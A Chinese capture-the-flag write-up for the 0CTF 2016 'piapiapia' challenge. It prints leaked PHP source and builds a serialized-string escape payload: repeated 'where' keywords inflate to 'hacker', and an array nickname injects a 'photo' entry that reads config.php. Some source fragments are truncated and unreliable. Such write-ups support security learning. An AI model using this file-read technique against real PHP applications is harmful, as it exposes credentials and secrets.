[0CTF 2016]piapiapia
2021-03-06 22:30
YPE html>
标签:session 长度 div star 漏洞 简单 计算 first Enctype
[0CTF 2016]piapiapia
1.审题
进入登录页面,简单的sql注入无效,可能是过滤了大部分的注入字符
dirsearch扫描一下,发现源码泄漏,www.zip
下载,源码审计
2.源码审计
config.php
猜测flag在这个文件中,我们要有一个意识:这是我们下载下来的源码,并非真正的服务端运行的源码,本地搭建做题环境时要改成自己的用户名、密码之类,在服务端docker的主机里,$flag变量应该存的就是我们要的flag。
register.php
16)
die(‘Invalid user name‘);
if(strlen($password) 16)
die(‘Invalid password‘);
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo ‘Register OK!Please Login‘;
}
else {
die(‘User name Already Exists‘);
}
}
else {
?>
Login
update.php
10)
die(‘Invalid nickname‘);
$file = $_FILES[‘photo‘];
if($file[‘size‘] 1000000)
die(‘Photo size error‘);
move_uploaded_file($file[‘tmp_name‘], ‘upload/‘ . md5($file[‘name‘]));
$profile[‘phone‘] = $_POST[‘phone‘];
$profile[‘email‘] = $_POST[‘email‘];
$profile[‘nickname‘] = $_POST[‘nickname‘];
$profile[‘photo‘] = ‘upload/‘ . md5($file[‘name‘]);
$user->update_profile($username, serialize($profile));
echo ‘Update Profile Success!Your Profile‘;
}
else {
?>
UPDATE
profile.php
show_profile($username);
if($profile == null) {
header(‘Location: update.php‘);
}
else {
$profile = unserialize($profile);
$phone = $profile[‘phone‘];
$email = $profile[‘email‘];
$nickname = $profile[‘nickname‘];
$photo = base64_encode(file_get_contents($profile[‘photo‘]));
?>
Profile
Hi
index.php
16)
die(‘Invalid user name‘);
if(strlen($password) 16)
die(‘Invalid password‘);
if($user->login($username, $password)) {
$_SESSION[‘username‘] = $username;
header(‘Location: profile.php‘);
exit;
}
else {
die(‘Invalid user name or password‘);
}
}
else {
?>
Login
class.php
table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array(‘username‘, ‘password‘);
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = ‘$username‘";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = ‘$username‘";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = ‘$username‘";
return parent::update($this->table, ‘profile‘, $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config[‘hostname‘],
$config[‘username‘],
$config[‘password‘]
);
mysql_select_db($config[‘database‘]);
mysql_query("SET sql_mode=‘strict_all_tables‘");
return $this->link;
}
public function select($table, $where, $ret = ‘*‘) {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(‘,‘, $key_list);
$value = ‘\‘‘ . implode(‘\‘,\‘‘, $value_list) . ‘\‘‘;
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = ‘$value‘ WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array(‘\‘‘, ‘\\\\‘);
$escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;
$string = preg_replace($escape, ‘_‘, $string);
$safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);
$safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;
return preg_replace($safe, ‘hacker‘, $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
我们的目的是读取config.php
观察有没有任意文件读取漏洞,发现在profile.php中有这样一段
show_profile($username);
if($profile == null) {
header(‘Location: update.php‘);
}
else {
$profile = unserialize($profile);
$phone = $profile[‘phone‘];
$email = $profile[‘email‘];
$nickname = $profile[‘nickname‘];
$photo = base64_encode(file_get_contents($profile[‘photo‘]));
?>
观察profile的入口,在update里
move_uploaded_file($file[‘tmp_name‘], ‘upload/‘ . md5($file[‘name‘]));
$profile[‘phone‘] = $_POST[‘phone‘];
$profile[‘email‘] = $_POST[‘email‘];
$profile[‘nickname‘] = $_POST[‘nickname‘];
$profile[‘photo‘] = ‘upload/‘ . md5($file[‘name‘]);
$user->update_profile($username, serialize($profile));
echo ‘Update Profile Success!Your Profile‘;
这里肯定不能直接对photo进行修改,那就考虑nickname入口,先试着构造下
结果
string(187) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"
但是问题是如何让后面的部分s:5:"photo";s:10:"config.php";逃逸
寻找过滤函数、
该题对nickname进行两次过滤
第一次是长度过滤,可以通过数组绕过,但不足以然我们的config.php逃逸
但是,问题在于,构造的nickname必须是数组形式
if(preg_match(‘/[^a-zA-Z0-9_]/‘, $_POST[‘nickname‘]) || strlen($_POST[‘nickname‘]) > 10)
die(‘Invalid nickname‘);
第二次是关键字过滤,看如何利用
public function filter($string) {
$escape = array(‘\‘‘, ‘\\\\‘);
$escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;
$string = preg_replace($escape, ‘_‘, $string);
$safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);
$safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;
return preg_replace($safe, ‘hacker‘, $string);
}
这里只有where是五个字符,其余均为6字符,替换为hacker六字符,考虑可否通过此处吞掉多余的字符,关于吞字符,可以在我的另一篇博客easy_serialize_php中了解详情
开始实验,先大致算一下,然后慢慢加减
错误示例
写入33个where,结果
string(392) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"
计算198=33*6构造成功,但是实际没成功,因为nickname没写成数组形式
正确示范(因为nickname是数组,需要重新构造并且用}闭合,此时为204位,即34个where)
注意 数组构造后下一个元素前不需要封号where";}s:5:"photo";,非数组则有where";s:5:"photo";
‘wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}‘);
$profile[‘phone‘]=‘12345678901‘;
$profile[‘email‘]=‘for@example.com‘;
$profile[‘nickname‘]=$a;
$profile[‘photo‘]=‘upload/21232f297a57a5a743894a0e4a801fc3‘;
var_dump(filter(serialize($profile)));
结果
string(403) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"
3.解题
先注册一个账号,登录
上传随意一张图
抓包后修改内容
解码即可
参考博客
http://yqxiaojunjie.com/index.php/archives/171/
https://blog.csdn.net/crisprx/article/details/104705018/
https://www.jianshu.com/p/3b44e72444c1
http://www.soscw.com/info-detail-2903729.html
https://blog.csdn.net/zz_Caleb/article/details/96777110
[0CTF 2016]piapiapia
标签:session 长度 div star 漏洞 简单 计算 first Enctype
原文地址:https://www.cnblogs.com/LLeaves/p/12841337.html
文章标题:[0CTF 2016]piapiapia
文章链接:http://soscw.com/index.php/essay/61064.html